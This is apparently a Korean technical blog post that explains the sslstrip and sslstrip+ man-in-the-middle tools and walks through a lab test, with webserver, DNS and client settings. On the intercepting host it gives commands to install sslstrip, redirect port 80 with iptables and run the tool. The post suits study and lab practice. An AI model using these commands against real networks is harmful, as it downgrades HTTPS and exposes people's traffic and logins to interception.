IT System Management/Security

sslstrip, sslstrip+

iseop 2022. 1. 9. 13:54   인쇄용 버전

소개

sslstrip은 클라이언트의 비보안 프로토콜(HTTP)요청을 가로채어 서버에 대신 접속하고, 클라이언트와는 비보안 연결을 유지하는 MITM 공격 도구입니다. 이걸 클라이언트에서 방지하기 위한 HSTS (HTTP Strict Transport Security)가 있으나, HSTS는 URL 기준으로 작동하기 때문에 이를 노려 HSTS를 우회하는 sslstrip+가 있습니다.

 

Strict-Transport-Security - HTTP | MDN

HTTP Strict-Transport-Security response header (종종 HSTS (en-US) 로 약칭) 는 HTTP 대신 HTTPS만을 사용하여 통신해야한다고 웹사이트가 브라우저에 알리는 보안 기능.

developer.mozilla.org

 

테스트

A. 네트워크 구성(Debian 9)

webserver ----- man ----- client
- firefox 55
- apache 2.4
- HTTPS(443)
- bind9

B. webserver 호스트 설정 (sites-enabled, resolv.conf, contoso.com.zone)

* sites-enabled.conf
servername www.contoso.com
sslengine on
sslcertificatefile /etc/apache2/www.crt
sslcertificatekeyfile /etc/apache2/www.key
documentroot /var/www/html

* resolv.conf
nameserver 127.0.0.1

* contoso.com.zone
@ IN NS www.contoso.com
@ IN A 10.0.0.1
www In A 10.0.0.1

C. man 설정 (resolv.conf, sslstrip, iptables)

* resolv.conf
nameserver 10.0.0.1

apt-get install sslstrip
iptables –t nat –A PREROUTING –p tcp –dport 80 –j REDIRECT –to 8080
sslstrip –a –l 8080

D. 클라이언트 설정 (resolv.conf)

nameserver 10.0.0.1

 

클라이언트에서 테스트 서버에 접속한 모습

 

중간 서버에서 통신 내용을 확인하는 모습